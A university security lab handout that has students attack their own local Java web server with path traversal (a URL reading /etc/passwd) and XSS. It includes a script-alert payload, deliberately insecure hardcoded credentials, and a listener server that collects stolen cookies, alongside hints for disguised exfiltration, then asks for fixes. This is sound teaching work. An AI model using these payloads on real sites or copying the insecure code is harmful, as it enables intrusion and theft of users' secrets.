Security Practical 2

Dr Chris G. Willcocks

Last Modified: October 21, 2018

Practical 2

Background

Welcome to the second practical. We will be extending our web-server to serve file requests, such as HTML and CSS. There are lots of security vulnerabilities in doing this. We will also be doing some XSS cross-site scripting attacks and trying (!) to protect against these. Finally, you will be getting some implicit exposure to important web technologies (HTML5, CSS3, jQuery and AJAX). It is expected that you will be new to all this, so enjoy being thrown in the deep end if this is the case (as is often in the real world). Good luck!

Tasks

1. Change directory to '4' and run the web-server:

Listing 1: Bash

```
cd ~/practicals/4
javac Server.java && java Server
```

   (a) Navigate to "http://127.0.0.1:8000"

   (b) You should see a website where you can click the links.

   (c) Some of the content won't work until later in the practical.

   (d) The server also serves 'style.css' which gives the page some style and allows you to resize the webpage, changing the layout for mobile applications.

   (e) Study the source code for 'index.html', 'script.js' and 'style.css' until you are comfortable.

2. See if you can access Server.java from the web.

   (a) Protect against this by creating a static 'content' directory and moving the html, js, css, and favicon.ico into it. Change the Server.java root variable to point to this content directory.

   (b) Now see if you can gain access to Server.java again.

3. Perform a path traversal attack:

   (a) Gain access to Server.java.

Listing 2: URL

```
%2e%2e%2f represents ../
```

   (b) Access any file from elsewhere in your filesystem, such as files in other subdirectories. For example, if you are using Linux, try to access your /etc/passwd or /etc/group file (the following example command may change depending on where you extracted the practical):

Listing 3: URL

```
http://127.0.0.1:8000/..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd
```

4. Protect your server against path traversal attacks:

   (a) Always try to apply strict input validation (whitelist approach where possible, recommended).

   (b) Sometimes you may need to use a blacklisting approach (e.g. when you have free-form Unicode text).

   (c) You may, or may not, wish to use the following code:

Listing 4: Java

```
import java.util.regex.Pattern;

...

boolean validPath = Pattern.matches("<some_regex>", path);

if (!validPath || !file.isFile()) {
    // reject with 404

...
```

   (d) If you are not familiar with regex, use the cheatsheet available here: `https://regexr.com/`

   (e) This would be a good time to spend 15 mins studying regex if you are new to it, as it will likely come in use again in many different software engineering situations.

   (f) You may wish to allow for '/' then between 1 and 20 letters followed by '.' followed by between 1 and 4 letters.

   (g) Confirm that your solution prevents path traversal attacks on your filesystem.

5. We will now do a basic XSS cross-site scripting attack in the chat area.

   (a) Add a handler on the server to receive the chat messages:

Listing 5: Java

```
server.createContext("/message", new MessageHandler());

...

String responses = "Name=Chris<br>Message=Fear this amazing technology all you Slack
    users!<br><br>";
class MessageHandler implements HttpHandler {
    @Override
    public void handle(HttpExchange t) throws IOException {
        // Parse request
        InputStreamReader isr = new InputStreamReader(t.getRequestBody(), "utf-8");
        BufferedReader br = new BufferedReader(isr);
        String query = br.readLine();

        if (query != null) {
            responses += URLDecoder.decode(query, System.getProperty("file.encoding")).
                replaceAll("&", "<br>");
            responses += "<br><br>";
        }

        t.sendResponseHeaders(200, responses.length());
        OutputStream os = t.getResponseBody();
        os.write(responses.toString().getBytes());
        os.close();
    }
}
```

   (b) Confirm that you can send and receive messages. Open up a new private browsing window and fake a conversation.

   (c) Type some code into the chat which causes malicious behaviour to annoy other users. For example:

Listing 6: HTML+Javascript

```
<script>alert('this is annoying');</script>
```

   (d) See if you can find a way to make the whole website unusable.

   (e) You may wish to restart the server to remove any annoying/crashing messages before moving on.

6. Perform an XSS attack to steal priviate information without any users knowing:

   (a) Extend the website to handle a private login area. Basically add the functionality we developed in the previous practical. You may use the original insecure and bad implementation to save time:

Listing 7: Java

```
// Bad storage of usernames and passwords
private List<String> users = Arrays.asList("admin", "chris");
private List<String> passwords = Arrays.asList("12345qwert", "ncc1701d");

...

public void run() throws Exception {

    BasicAuthenticator auth = new BasicAuthenticator("get") {
        @Override
        public boolean checkCredentials(String user, String pass) {

            // Check if login was successful
            for (int i = 0; i < users.size(); ++i) {
                if (user.equals(users.get(i)) && pass.equals(passwords.get(i))) {
                    System.out.println(users.get(i) + " has logged in!");
                    return true;
                }
            }
            return false;
        }
    };

    ...

}


...

server.createContext("/login", new LoginHandler("Secret bitcoin private key:<br><br>
    KworuAjAtnxPhZARLzAadg9WTVKjY4kckS8pw38JrD33CeVYUuDm.")).setAuthenticator(auth);

...

class LoginHandler implements HttpHandler {
    private String message;

    public LoginHandler(String message) {
        this.message = message;
    }

    @Override
    public void handle(HttpExchange t) throws IOException {
        String response = message;
        t.sendResponseHeaders(200, response.length());
        OutputStream os = t.getResponseBody();
        os.write(response.getBytes());
        os.close();
    }
}
```

   (b) Confirm that you can login to the website by clicking the 'Login' button in the login area. Type in the admin username and password. You should see your private key displayed in a red box in the login area.

   (c) You are now a hacker. Set up the following server, running on port 1337, to listen for information that your XSS attack leaks:

Listing 8: Java

```
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;

import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.URI;

public class Hacker {

    public static void main(String[] args) throws Exception {
        HttpServer server = HttpServer.create(new InetSocketAddress(1337), 0);
        server.createContext("/malicious", new EvilHandler());
        server.start();
        System.out.println("Malicious Server is running. Listening for messages at: http
            ://127.0.0.1:1337/malicious/");
    }

    static class EvilHandler implements HttpHandler {
        @Override
        public void handle(HttpExchange t) throws IOException {
            // Parse request
            URI requestedUri = t.getRequestURI();
            String query = requestedUri.getRawQuery();
            System.out.println(query);
        }
    }
}
```

(d) Login with one browsing window, then open another window in a private window (which is not logged in, representing the hacker).

(e) Use an XSS attack in the chat to steal the private key of the logged in user without them seeing any suspcious behaviour.

(f) Hint: you may wish to execute a jQuery GET request containing the document.cookie. Make sure any malicious behaviour is disguised as innocent.

(g) You don't necessarily just need to inject code through script tags. Reload the server, then hack it again but this using the IMG tag onerror attribute.

(h) There are lots of ways to inject. Look at the fuzzing lists maintained by Daniel Miessler and Jasson Haddix: `https://github.com/danielmiessler/SecLists/tree/master/Fuzzing`

(i) Upon reflection, you decide not to store the private key in a cookie. Delete the following line from script.js:

Listing 9: Javascript

```
document.cookie = "key="+data;
```

(j) Reload the server, then perform a different type of XSS attack to steal the private key without the user knowing or using their cookie.

7. Read `https://excess-xss.com/`
8. Get to level 6 in the following game: `https://xss-game.appspot.com/`
9. Patch the chat system to make it robust to XSS attacks. Extra points to those who can keep some rich editing features in the chat.

   (a) This is actually reasonably hard to do properly, especially while retaining any rich editing functionality. You may like to do some research to see how others do it.

10. Show and discuss your patched chat system with the person next to you and/or the demonstrator.
11. This concludes the practical. For those who finish early, extend the chat system with an XSS-secure handeling of a library such as marked.min.js alongside codemirror.min.js for input or katex.min.js for math input.